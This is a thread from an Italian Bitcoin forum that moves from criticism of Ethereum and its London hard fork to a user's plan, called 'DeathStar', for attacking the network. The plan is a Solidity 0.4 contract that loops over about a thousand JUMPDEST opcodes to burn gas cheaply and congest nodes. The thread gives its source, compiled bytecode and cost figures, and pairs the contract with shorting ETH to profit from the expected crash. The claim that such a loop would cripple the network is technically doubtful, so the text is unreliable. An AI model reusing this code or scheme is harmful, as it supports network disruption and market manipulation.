Bitcoin Forum

Client    Version Number    Download Link
go-ethereum (geth)    1.10.5 1.10.6    Download
Nethermind    1.10.77 1.10.79    Download
Erigon (f.k.a. TurboGeth)    2021.07.03-alpha 2021.07.04-alpha    Download
Besu    21.7.1 21.7.2    Download
OpenEthereum (f.k.a. Parity)    v3.3.0-rc.4    Download
EthereumJS VM    v5.5.0    Download

Non saprei cosa dire, se non che è una ennesima conferma che ETH sia in realtà uno shitshow non funzionante e raffazzonato.
Comunque ho chiesto un pò di informazioni a gente più esperta di me (cioè praticamente tutti), vediamo cosa dicono.

Anche nel fantastico mondo fatato di ETH, se fosse vero ciò che dice, dovrebbe già essere uscita fuori una bomba del genere. Io di proclami in tal senso non ne ho visti ma non mi mervaglierei del fatto che la questione possa essere stata contenuta/insabbiata per evitare problemi maggiori.
Se non ho capito male, per tenere buoni i miner ci saranno almeno altri 2/3 anni di pow per un ibrido alla PPC in cui coesistono POW e POS.
Che grande innovazione.
Magari non ho capito niente.

Infatti ammetto che e' molto strano.

Pero' resta il fatto che london e' dichiaratamente un hard fork.
Hard fork vuol dire che il nuovo formato dei blocchi non e' compatibile con i  vecchi,
altrimenti si tratta di una soft fork, dove i vecchi client vedono dei blocchi con contenuti
che non sanno decodificare ma non rigettano come invalidi.

Insomma  se fai un hard fork e una percentuale cosi' alta di nodi non e'
upgradata e quindi non riconosce i blocchi... qualcosa non mi torna.

Per dire, anche in questo momento di client geth della versione 1.10.6 che
capisce il nuovo formato dei blocchi ce ne sono 2260 su 3121, ossia 861 client
(che sono il 27% dei client geth)  sono in rete ma non (dovrebbero)
riconoscere i blocchi di nuovo formato.

Questi 861 client (battezzati come nodi attivi) dovrebbero ricevere tutti blocchi
che rigettano come invalidi... ammetterete che e' una situazione che meriterebbe
una spiegazione!

Saro' leggermente paranoico...

ma mi sto facendo l'idea che nella rete ethereum ormai esistano una manciata di full node,
e che i "nodi" riportati https://ethernodes.org/ non contano un cazzo come validazione
(non essendo aggiornato su come funziona ethereum questa e' una mia ipotesi)
ma se contassero saremmo di fronte a un palese chain split, in quanto i nodi non aggiornati
sono una percentuale davvero consistente.

Full node

    Stores full blockchain data.
   Participates in block validation, verifies all blocks and states.
    All states can be derived from a full node.
    Serves the network and provides data on request.

Light node

    Stores the header chain and requests everything else.
    Can verify the validity of the data against the state roots in the block headers.
    Useful for low capacity devices, such as embedded devices or mobile phones, which can't afford to store gigabytes of blockchain data.

Archive node

    Stores everything kept in the full node and builds an archive of historical states. Needed if you want to query something like an account balance at block #4,000,000.
    These data represent units of terabytes which makes archive nodes less attractive for average users but can be handy for services like block explorers, wallet vendors, and chain analytics.

Mi aiutate a trovare una fonte che indica i full node di ethereum,
ossia nodi che partecipano al processo di validazione dei blocchi?

Qui non si dovrebbe parlare di altcoin, che sono OT. Ma visto che mi chiedi un parere sul rapporto di una specifica altcoin e Bitcoin, rispondo, poi non commento oltre e non rispondo a ulteriori dibattiti nel merito, che qui sono OT. Ritengo Ethereum uno dei peggiori scam nel settore, che quindi chiunque sia interessato a Bitcoin dovrebbe assolutamente ignorare, senza contaminare una cosa seria come Bitcoin. Ha tutte le caratteristiche di centralizzazione di sviluppo tipiche delle altcoin, ma rese peggiori da precedenti storici come il TheDAO bailout e il "ok can you guy stop trading", oltre che dall'episodio della moneta che dumpa e pumpa a seconda delle fake news relative al suo creatore. Ha tutte le problematiche di insostenibilita' di scala causate da una incomprensione di fondo dei trade-off di una blockchain  ("vogliamo tutto onchain") delle tipiche scamcoin "a blocchi grossi", che rende i nodi tecnicamente centralizzatissimi. Ha tutte le falle di sicurezza tipiche delle supercazzole pseudo-tecniche di chi non sa cosa sta facendo (ad oggi si e' dimostrato impossibile in Ethereum anche solo fare un semplice multisig in modo che fosse sicuro e non fosse "accidentally killed" da un utente a caso...figuriamoci gli "smart contract" complessi). Ha tutte le problematiche morali, etiche, legali e di incentivi economici distorti delle premined coin e delle ICO, allo stesso tempo. Ha tutta la retorica fraudolenta del "no, non e' una moneta, e' una appcoin", tipica delle ICO. Ha un cambio di narrativa al mese per ignorare le promesse false debunkate dai fatti e lanciare nuove promesse false per il futuro (world computer con appcoin, anzi no turing completeness, anzi no unstoppable applications, anzi no rich statefullness, anzi no gattini collezionabili, anzi no defi, anzi no open finance, anzi no store of value, anzi no..). Ha un creatore che vendeva scam sul "quantum computing emulato su computer normali" prima di lanciare questo scam (tipo uno che vende cristalli curativi e macchine del tempo, in pratica). Ha un sito dove campeggia una frase che dal bailout di TheDAO rappresenta una vera e propria truffa commerciale a tutti gli effetti ("unstoppable applications"). Ha un'infrastruttura di validazione completamente centralizzata da una sola compagnia (infura).  Ha una "road map" per il "2.0" che rappresenta una dichiarazione di fallimento su tutta la linea rivestita da promesse fantascientifiche. Ritengo che sia anche peggio di roba come Bitconnect, Dentacoin o BSV, perche' su queste ultime, anche se qualche trader ci ha fatto soldi o perso soldi, nessun ragazzo ha buttato via reputazione, skill, talento e tempo. Ethereum invece ha distolto un sacco di risorse intellettuali potenzialmente valide.

Che dire, una ricerca lucida e non biased.  8)

Avevo letto prima del London HF che i miners erano sul piede di guerra e sarebbero stati disposti a deviare dalla catena principale se non fossero state accolte le loro richieste. Quando c'è stato l'HF mi sarei aspettato qualcosa in tal senso ma come ha fatto notare gbianchi, niente di tutto ciò è avvenuto.

Altrimenti andiamo al bar o meglio ancora dalla parrucchiera
e diciamo la qualunque di qualunque argomento.

é più forte di me, scusate. Metto qui sotto due meme, piccolini. A chi interessano, ingrandisca:

I meme meritano :)

Ho un'idea... se la rete ethereum fa cosi' schifo, non dovrebbe essere troppo diffcile
creare una qualche dapp che la metta in crisi.

Io non ho sufficenti conoscenze tecniche del protocollo ethereum ne' per
progettarla ne'  per scriverla... ma non ho dubbi che tra di noi ci siano le conoscenze
di personaggi in grado di farlo.

Che ne di te di fare una colletta per progettare e realizzare una tale dapp?

Ci sono una serie di motivazioni logiche e di convenienza per farlo, non
si tratterebbe di un "dispetto" fine a se stesso.

Premessa, ho 0 ETH.

A volte si leggono di contestazioni su una o l'altra coin, che poi alla fine non abbiano nulla sotto, come magari nel caso che hai esposto tu.
Motivi? A volte queste contestazioni sono create apposta o gonfiate da sostenitori di coin concorrenti, magari dagli stessi Bitcoiner.
Non solo, alle volte alcune contestazioni su Bitcoin può anche essere che siano creati dagli stessi bitcoiner per dare l'idea che ci sia una qualche forma di dibattito, e che poi alla fine si arrivi ad un consenso.
Anche questo potrebbe essere falso, cioè, che le decisioni siano già state prese dai pochi dev che hanno accesso alla scrittura del codice su github, e le contestazioni siano invece giusto una distrazione/fuffa.

Questo vorrebbe dire che ETH (o qualsiasi altra coin) siano sicure?
Assolutamente no. Ma non andrei a cercare "sicure" conferme dei propri bias negativi o positivi da coin concorrenti o da personaggi pseudo-anonimi, che potrebbero essere anche tutti la stessa persona.

Beh. Diciamo che nella storia queste apps sono esistite: prima i Criptokitties, poi la DeFi, tutte applicazioni si rete ETH che hanno spinto le gas fees alle stelle.

Se vuoi fare un attacco del genere puoi farlo. Preparati a spendere qualche milione (o decine di..).
Su bitcoin un attacco simile è possibile, in teoria, ma ovviamente molto oneroso (ed è stato fatto in passato).

Si può shortare ETH sugli exchange? Si.
Quindi se ci fosse un modo per causare il panico e guadagnarci, già lo si avrebbe fatto.
ETH avrà i suoi problemi, ma evidentemente non sono così gravi come ovviamente un massimalista cercherà di raccontare ;)

Si può shortare ETH sugli exchange? Si.
Quindi se ci fosse un modo per causare il panico e guadagnarci, già lo si avrebbe fatto.
ETH avrà i suoi problemi, ma evidentemente non sono così gravi come ovviamente un massimalista cercherà di raccontare ;)

Ecco... questa e' un'osservazione corretta che ha un notevole peso come prova che
un eventuale "hack" non sia cosi' semplice come sostiene Zucco.

ma non e' una prova che sia impossibile.

Nel frattempo mi sono messo un po'  a studiare come funziona ethereum.

Da vecchio programmatore direi che le basi per uno possibile hack ci sono tutte:

- Il codice e' immutabile (una volta iniettato nella blockchain non si cammbia piu' (a meno di un hard fork tipo DAO))
- il compilatore da la possibilita' di fare un online assembler del "codie macchina della EVM" e l'assembler era il modo principe per andare a scovare bug
  tipo buffer overflow, integer overflow, stack corruption e robe del genere.
- sono possibili le funzioni ricorsive (che sono un altra fonte inesauribile di potenziali vulnerabilita')

Cosi' ad un prima occhiata, mi pare che l'unico meccanismo di vera protezione non sia tanto il poter scrivere del codice buggato/malevolo...
ma che eseguire questo codice costa dei soldi (e tanti)

Ora, proviamo a vedere la cosa da un punto di vista totalmente diverso.

Non esistono (almeno in apparenza*) regole censorie per immettere del codice in blockchain... basta pagare.
Ossia uno puo' immettere un codice anche proprio PROGETTATO per fare danni, non che sfrutti bug per farli,
basta che paghi. questa potrebbe essere la madre di tutte le debolezze:

una linea di attacco potrebbe essere: siamo un gruppo che
a) vuole dimostrare che ethereum non sta in piedi alla radice, proprio perche' si puo' immettere del codice a piacimento, basta pagare.
b) lo spirito morale non ci motiva a sufficenza, quindi nell'operazione ci vogliamo anche guadagnare e molto.
c) siamo gente che vive nel mondo delle crypto da anni... e fortunatamente i mezzi non ci mancano  ;D
d) Progettiamo e realizziamo uno smart contrat chiamato "La morte nera"
e) shortiamo ethereum di brutto,
f)  immettiamo lo smart contract "La morte nera" nella blockchain di ethereum
g) lo pompiano a suon di milioni in ethereum per farlo girare, ma con la certezza di quadagnarne molto di piu' dallo short.
e) lo smart contract "La morte nera" progettato a mo' di virus, spamma la chain di ethereum fino alla devastazione.
f) ethereum crolla in un tempo brevissimo, il prezzo crolla in picchiata di e di conseguenza  copriamo gli short nababbi.
g) guadagnamo una barca di soldi ed abbiamo devastato ethereum (senza infrangere nessua legge)

Vediamo se questa bella pensata (che e' la prima che mi viene in mente eh, so fare di peggio) me la smontate facilmente.

*l'unica via di fuga che vedo e' di bloccare immediatamente lo smart contract "la morte nera" con un hard fork
e annullamento dello smart contract... ma in questo caso anche gli ethereum che ci abbiamo pompato dentro
per far girare il codice-virus non sono piu' stati pompati.

EDIT: "La morte nera" e' anche facilissimo da realizzare, credo che in due giorni di lavoro lo potrei fare io,
che ho iniziato oggi pomeriggio a studiare solidity... non e' che ci voglia un genio della programmazione

<...>

EDIT: "La morte nera" e' anche facilissimo da realizzare, credo che in due giorni di lavoro lo potrei fare io,
che ho iniziato oggi pomeriggio a studiare solidity... non e' che ci voglia un genio della programmazione.

Molti di noi dovrebbero ricordare o quantomeno sapere cosa successe a Bitcoin quando fu trovato il suo peggiore e credo unico bug grave.
Nell'agosto 2010, qualcuno ha sfruttato una falla nel codice di Bitcoin per creare 184 miliardi di Bitcoin, il bug è stato rapidamente corretto da Satoshi e la persona dietro l'exploit del "value overflow incident" rimane sconosciuta.
<...>

On August 15 2010, it was discovered that block 74638 contained a transaction that created 184,467,440,737.09551616 bitcoins for three different addresses.[1][2][3] Two addresses received 92.2 billion bitcoins each, and whoever solved the block got an extra 0.01 BTC that did not exist prior to the transaction. This was possible because the code used for checking transactions before including them in a block didn't account for the case of outputs so large that they overflowed when summed

Premesso che non conosco solidity, da quel che ho letto in giro dovrebbero esistere dei meccanismi di sicurezza nella EVM che impediscano loop infiniti, per esempio con dei limiti a quanto può crescere lo stack:

https://ethereum.stackexchange.com/questions/26938/why-is-the-evm-stack-limited-to-1024 (https://ethereum.stackexchange.com/questions/26938/why-is-the-evm-stack-limited-to-1024)

poi onestamente non so se con quello che intendi tu andresti a bypassare questi controlli, non conosco abbastanza i dettagli per approfondire.

Premesso che non conosco solidity, da quel che ho letto in giro dovrebbero esistere dei meccanismi di sicurezza nella EVM che impediscano loop infiniti, per esempio con dei limiti a quanto può crescere lo stack:

https://ethereum.stackexchange.com/questions/26938/why-is-the-evm-stack-limited-to-1024 (https://ethereum.stackexchange.com/questions/26938/why-is-the-evm-stack-limited-to-1024)

poi onestamente non so se con quello che intendi tu andresti a bypassare questi controlli, non conosco abbastanza i dettagli per approfondire.

Si può shortare ETH sugli exchange? Si.
Quindi se ci fosse un modo per causare il panico e guadagnarci, già lo si avrebbe fatto.
ETH avrà i suoi problemi, ma evidentemente non sono così gravi come ovviamente un massimalista cercherà di raccontare ;)

Quindi se ci fosse un modo per causare il panico e guadagnarci, già lo si avrebbe fatto.

Se è lo stesso codice che gira in ETC si potrebbe provarlo gratis sulla blockchain di Ethereum Classic e vedere l'effetto che fa.
Farlo live sulla mainnet di ETH comporta un discreto impiego di risorse considerati i tuoi calcoli.
Ora ragionando al contrario, assumendo che questo tipo di attacco funzioni, quali sarebbere le contromisure? Immagino, per l'ennesima volta, che ciò richieda in HF per attuare eventuali correttivi.

effettivamente è un'idea interessante, per due motivi: 1) con gli stessi fondi da spendere si otterrebbero circa 50 volte più cicli a vuoto, e soprattutto 2) non potrebbero risolvere con hard fork, proprio per la filosofia alla base di ETC

DOMANDA:
Parli di 1,000 jumpdest... ma si piò aumentare ulteriormente il numero per ridurre ancora il costo?

Se è lo stesso codice che gira in ETC si potrebbe provarlo gratis sulla blockchain di Ethereum Classic e vedere l'effetto che fa.
Farlo live sulla mainnet di ETH comporta un discreto impiego di risorse considerati i tuoi calcoli.
Ora ragionando al contrario, assumendo che questo tipo di attacco funzioni, quali sarebbero le contromisure? Immagino, per l'ennesima volta, che ciò richieda in HF per attuare eventuali correttivi.

pragma solidity ^0.4.0;

contract DeathStar
   {
   function DeathLoop() public
      {
      assembly
       {
      
       loop000:
       loop001:
       loop002:
       loop003:
       loop004:
       loop005:
       ....
       ....
       loop992:
       loop993:
       loop994:
       loop995:
       loop996:
       loop997:
       loop998:
       loop999:
      
       jump(loop001)
       }
     }
   }

Binary:
6060604052341561000c57fe5b5b6104688061001c6000396000f30060606040526000357c01000 00000000000000000000000000000000000000000000000000000900463ffffffff1680634b489b 321461003b575bfe5b341561004357fe5b61004b61004d565b005b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 61004f565b5600a165627a7a72305820ee78c2a05eeec0067f21c039d9876e47f4397627e2469cd f45407ae4e91422090029

sub_0: assembly {
        /* "death":26:16255  contract DeathStar... */
     mstore(0x40, 0x60)
      calldataload(0x0)
      0x100000000000000000000000000000000000000000000000000000000
      swap1
      div
      0xffffffff
      and
      dup1
      0x4b489b32
      eq
      tag_2
      jumpi
    tag_1:
      invalid
        /* "death":53:16250  function DeathLoop() public... */
    tag_2:
      jumpi(tag_3, iszero(callvalue))
      invalid
    tag_3:
      tag_4
      jump(tag_5)
    tag_4:
      stop
    tag_5:
        /* "death":172:179  loop000 */
    tag_7:
        /* "death":188:195  loop001 */
  

Questo e' il codice binario di uno smart contract eseguibile in rete!

Bene, a questo punto che si fa? Lo butti in esecuzione in rete?
Cerchi Ethereum? Scusami no guarda ho lasciato il portafoglio a casa, sono uscito solo un secondo a fare due passi...

Sono proprio curioso di vedere come cavolo impatta sto' loop micidiale su una EVM vera.

Ho due o tre idee... ma prima, essendo un tipo pratico, non mi accontento della teoria.

Vorrei quindi vedere in un ambiente di test che cavolo succede. La prima domanda e'...
che impatto ha DAVVERO su una EVM un ciclo del genere?

Sai, questi hanno voluto mettere su un "computer" di dimensioni mondiali... con un'unica
leva di comando, che sono le fee, i programmi che sono tutti virus e che non si possono manco modificare.

Ora qualsiasi sistemista che abbia lavora piu' di un giorno su un server, sa che in realta'
servono tanti accorgimenti per gestire tante risorse... comandi per assegnare i processori, la ram,
lo storage, le quote, le priorita' dei processi, comandi per sospendere, per killare, per riavviare,
programmi di monitoraggio e test.... e non sto qui a tediarvi con l'infinita lista di tarature
che bisogna fare.

Ora ditemi voi: su ethereum ci sono circa 1.500.000 (si un milione e mezzo) di smart contract,
senza nessuna altro meccanismo di controllo a parte sto' cazzo di gas da pagare.

Sono proprio curioso di vedere come cavolo impatta sto' loop micidiale su una EVM vera.

bisognerebbe capire come un nodo assegna le sue risorse hw ai vari smart contract. Non è che assegna un tot di cicli ad ognuno e poi passa a quello successivo? Perché se così fosse l'unico risultato sarebbe un rallentamento nella terminazione di quel contratto. O sbaglio? Non ho la minima idea del design di un nodo ether.

Beh, se anche così fosse significherebbe che tot cicli dell nodo sarebbero occupati per moolto tempo dallo DeathStar, quindi per moolto tempo il nodo in questione avrebbe tot cicli occupati in modo inutile, lasciando quindi meno risorse per gli smart contract "veri"... potrebbe essere addirittura meglio... una sorta di "gramigna" nei nodi, difficile da estirpare....

sì ma questo diluirebbe nel tempo i gas sprecati, rendendoli una % trascurabile di quelli complessivamente processati dal nodo

sì ma questo diluirebbe nel tempo i gas sprecati, rendendoli una % trascurabile di quelli complessivamente processati dal nodo

Vero ci avevo pensato. Ma in questo caso basterebbe lanciare n ricorrenze dello smart contract, magari
leggermente diverse una dall'altra per confondere un po' le idee alla rete.

Il vero elemento cruciale e' se con una cifra "ragionevole" si riesce ad impattare sui nodi.

Se si riesce, per ethereum sono cazzi.

Non so se se la cavano neppure con un hard fork, perche' dovrebbe aumentare (e di parecchio) i gas di questa operazione!
ma ci sono altre operazioni che costano poco di piu' che si possono usare. E che fanno, un hard fork al giorno?


EDIT: comunque detto tra di noi, il fatto che nei compilatori moderni abbiano tolto la possibilita' di  smanettare
certe istruzioni, guarda caso legate all'uso di jumpdest, gia' mi puzza da morire.... forse non voglio che qualcuno, magari per sbaglio,
si imbatta in qualcosa del genere? mah... diciamo che e' una coincidenza, eh?

 

eh però così moltiplichi per n anche la spesa in gas... non so, ho la sensazione che per avere un qualche effetto riscontrabile la spesa sia veramente alta, centinaia di ETH o forse di più... ma non ho elementi concreti per accertarlo.

Ora, proviamo a vedere la cosa da un punto di vista totalmente diverso.

Non esistono (almeno in apparenza*) regole censorie per immettere del codice in blockchain... basta pagare.
Ossia uno puo' immettere un codice anche proprio PROGETTATO per fare danni, non che sfrutti bug per farli,
basta che paghi. questa potrebbe essere la madre di tutte le debolezze:

una linea di attacco potrebbe essere: siamo un gruppo che
a) vuole dimostrare che ethereum non sta in piedi alla radice, proprio perche' si puo' immettere del codice a piacimento, basta pagare.
b) lo spirito morale non ci motiva a sufficenza, quindi nell'operazione ci vogliamo anche guadagnare e molto.
c) siamo gente che vive nel mondo delle crypto da anni... e fortunatamente i mezzi non ci mancano  Grin
d) Progettiamo e realizziamo uno smart contrat chiamato "La morte nera"
e) shortiamo ethereum di brutto,
f)  immettiamo lo smart contract "La morte nera" nella blockchain di ethereum
g) lo pompiano a suon di milioni in ethereum per farlo girare, ma con la certezza di quadagnarne molto di piu' dallo short.
e) lo smart contract "La morte nera" progettato a mo' di virus, spamma la chain di ethereum fino alla devastazione.
f) ethereum crolla in un tempo brevissimo, il prezzo crolla in picchiata di e di conseguenza  copriamo gli short nababbi.
g) guadagnamo una barca di soldi ed abbiamo devastato ethereum (senza infrangere nessua legge)

oh certo, io immagino mooolto di piu'.

ma ti riposto lo schema originario del potenziale attacco: (non avevo ancora sviluppato nessuna idea pratica su come realizzare lo smart contract,
(anzi onestamente manco sapevo cosa fosse in pratica... parlavo ancora di spammarlo a mo' di virus...  ma qualsiasi smart contract si auto-spamma a mo' di virus :) )

ok, diciamo che rivedendolo ora, ci sono almeno 3 punti che lo rendono un caso di studio puramente accademico, almeno per quanto mi riguarda ;D

Si può shortare ETH sugli exchange? Si.
Quindi se ci fosse un modo per causare il panico e guadagnarci, già lo si avrebbe fatto.
ETH avrà i suoi problemi, ma evidentemente non sono così gravi come ovviamente un massimalista cercherà di raccontare ;)

ok, diciamo che rivedendolo ora, ci sono almeno 3 punti che lo rendono un caso di studio puramente accademico, almeno per quanto mi riguarda ;D

c) siamo gente che vive nel mondo delle crypto da anni... e fortunatamente i mezzi non ci mancano  Grin
g) lo pompiano a suon di milioni in ethereum per farlo girare, ma con la certezza di quadagnarne molto di piu' dallo short.
g) guadagnamo una barca di soldi ed abbiamo devastato ethereum (senza infrangere nessua legge)

Ecco i miei punti che me lo rendono impossiible!

Una possibile strategia di attacco alla rete ethereum.

Di gbianchi bitcointalk.org

questo studio nasce da alcune osservazioni:

1) nella rete ethereum non esiste nessun concetto di "smart contract vietato", la rete e' permissionless
   ossia qualsiasi utente puo' immettere in rete qualsiasi tipo di codice, basta che il codice sia formalmente corretto
   e che paghi il caricamento e l'esecuzione del codice.

2) ogni "smart contract" si comporta by design come un virus, ossia se eseguito, viene eseguito automaticamente
   su tutti i nodi, proprio in virtu' del principio di decentralizzazione, ogni nodo deve ri-eseguire il codice  
   per verificare il lavoro fatto dagli altri e giungere al consenso con gli altri nodi.

3) L'unico meccanismo per "governare" l'esecuzione del codice  e' il fatto che l'esecuzione di qualsiasi
   smart contract costa gas, proporzionale al numero di istruzioni eseguite ed al tipo di istruzioni.

4) gli smart contract vengono normalmente scritti in solidity, ma vengono poi compilati e tradotti in linguaggio
   macchina EVM, e solidity da' la possibilita' di scrivere direttamente in linguaggio assembler della EVM.

5) Una volta immesso, il codice e' immutabile, quindi non vi e' modo di "togliere di mezzo" lo smart contract dalla rete,
   a meno di un hard fork tipo DAO. Ma mentre Dao sfruttava un bug, qui viene utilizzata l'architettura di base di ethereum,
   rendendo veramente difficile la progettazione di un hard fork abbastanza efficace.

In base a queste osservazioni, si puo' progettare uno smart contract "DeathStar" la cui esecuzione costi il meno possibile,
e che "bruci" ethereum solo per competere con gli altri smart contract sui vari nodi, e ottenere piu' risorse elaborative possibili,
rallentando e facendo stagnare l'esecuzione di tutti gli altri smart contract.

Un gruppo di attaccanti potrebbe essere incentivato per svariati motivi a bruciare ethereum per mettere in difficolta' la rete, ad esempio:

- ad esempio essere i sostenitori di un'altra moneta competitor,
- oppure organizzare  uno short su ethereum prima dell'attacco, congestionare la rete ethereum e ricoprirsi a prezzi piu' bassi,
  recuperndo i soldi dell'attacco e guadagnandoci
- mettere in difficolta' uno o piu' degli svariati smart contract che girano su ethereum

In generale qualsiasi persona o gruppo con sufficenti mezzi e con un qualsiasi tipo di interesse alla decadenza della rete ethereum
e/o degli smart contract che vi girano, potrebbe usare questa linea di attacco.


Descrizione tecnica di DeathStar

lo yellow paper di ethereum  https://ethereum.github.io/yellowpaper/paper.pdf e' la fonte di informazioni ufficiale.
 
All'interno si trovano (tra tante al tre cose) la descrizione degli opcode EVM (Ethereum Virtual Machine)
e  le tabelle del costo in gas di ogni opcode.

Emerge che ogni smart contract viene compilato e convertito in opcode EVM, e dalla tabella
"Appendix G FEE SCHEDULE" emerge che questi opcode hanno  costi che vanno da 0 gas (opcode STOP, RETURN, REVERT)
fino a 20.000 gas o piu' per opcode di store di dati, 32.000 gas per la CREATE ecc.

Introduciamo ora il concetto di costo medio per opcode. Uno smart contract e' composto da un insieme di opcode che
formano la logica dello smart contract stesso, quindi chiamate funzionali, operazioni logiche, calcoli, storage dei risultati ecc.

L'esecuzione di uno smart contract sara' quindi l'esecuzione di tante di questi opcode, dai vari costi, che portano alla fine
al costo totale dell'esecuzione.

supponiamo che uno smart contract esegua questi opcode:
10 da 3 gas, 5 da 8 gas uno da 700 gas e uno da 20.000 gas (le operazioni sullo storage sono molto costose).
avremo quindi un costo totale di 30+40+700+20.000=20770 gas per 17 opcode. Il costo medio per opcode sara'
quindi di 1221.76 gas.

Per essere lo smart contract piu' "competitivo" in temine di costo per opcode, DeathStar dovra' essere progettato attorno
ad un opcode che costi il meno possibile, per avere il minor costo medio per opcode possibile.

Non si possono usare gli opcode da costo 0 (STOP, RETURN, REVERT)  in quanto tutti terminano l'esecuzione dello smart contract.

Quindi passiamo all'unico opcode  al costo di 1 gas: JUMDEST. Jumpdest e' un opcode  che non fa quasi nulla,
se non "Mark a valide destination for jump". non fa push e/o pop dallo stack, non fa nulla se non settare una posizione
dove poter saltare con una JUMP.

L'idea e' di wrappare una serie di opcode  JUMPDEST in un loop, in modo tale da abbassare il piu' possibile costo medio per opcode
di esecuzione di questo loop, in modo da renderlo vicino ad 1 gas per opcode, target al quale nessuno smart
contract che implementa qualche logica' potra' mai neanche lontanamente arrivare.

Ma ricordiamo il nostro scopo non e' avere una logica (infatti da un punto di vista elaborativo questo codice non produce nulla, non ha una logica)
e' semplicemente avere il costo medio per opcode piu' basso possibile,  per eseguire con una certa somma il maggior numero possibile di opcode che
"drenano" risorse elaborative dal network.

Ultima nota che ci serve sapere, e' che ethereum ha un criterio molto semplice per "interrompere" i loop infiniti: li termina quando
sono finiti i fondi. Quindi Caricando opportunamete di fondi lo smart contract, questo continuera' a girare, scalando un gas a opcode (in media)
in competizione con altri smart contract molto piu' costosi in termini di costo medio a opcode, che e' esattamente lo scopo
che ci eravamo prefissi: Avere uno smart contract che brucia ethereum al costo piu' basso possibile in competizione con gli altri smart
contract in esecuzione che avranno costi medi per opcode  di gran lunga piu' alti.

Un "trucco" che ci aiuta ad ottenere il codice binario e' che nelle vecchie versioni di solidity (fino alla versione 0.4)
era possibile immettere in assembler delle tag per le istruzioni jump, e che queste tag erano implementate proprio con degli opcode JUMPSET,
quindi usando un compilatore solc della versione 0.4.x il codice si compila in un attimo.
Coincidenza vuole che questa tecnica di codifica non sia  piu' possibile nei nuovi compilatori.


Codice di DeathStar:

pragma solidity ^0.4.0;

contract DeathStar
   {
   function DeathLoop() public
      {
      assembly
       {
       loop000:
       loop001:
       loop002:
       loop003:
       loop004:
       loop005:
       ....
       ....
       loop992:
       loop993:
       loop994:
       loop995:
       loop996:
       loop997:
       loop998:
       loop999:
      
       jump(loop000)
       }
     }
   }


viene compilato cosi':

...

JUMPDEST
JUMPDEST
JUMPDEST
...
JUMPDEST
JUMPDEST
PUSH2 0x4F
JUMP

Con 1000 jumpdest (ogni tag loopxxx: genera una jumpdest) + una push (costo 3 gas) + una jump (costo 8 gas)
abbiamo 1002 opcode al costo di 1011 gas  il costo medio per opcode del loop e' quindi attorno a 1,0089 gas.
Ipotizzando un costo gas di 36 Gwei, abbiamo un costo medio ad istruzione di 36,32 Gwei per opcode,
ossia con un ethereum possiamo eseguire ben 27.500.000 di opcode.
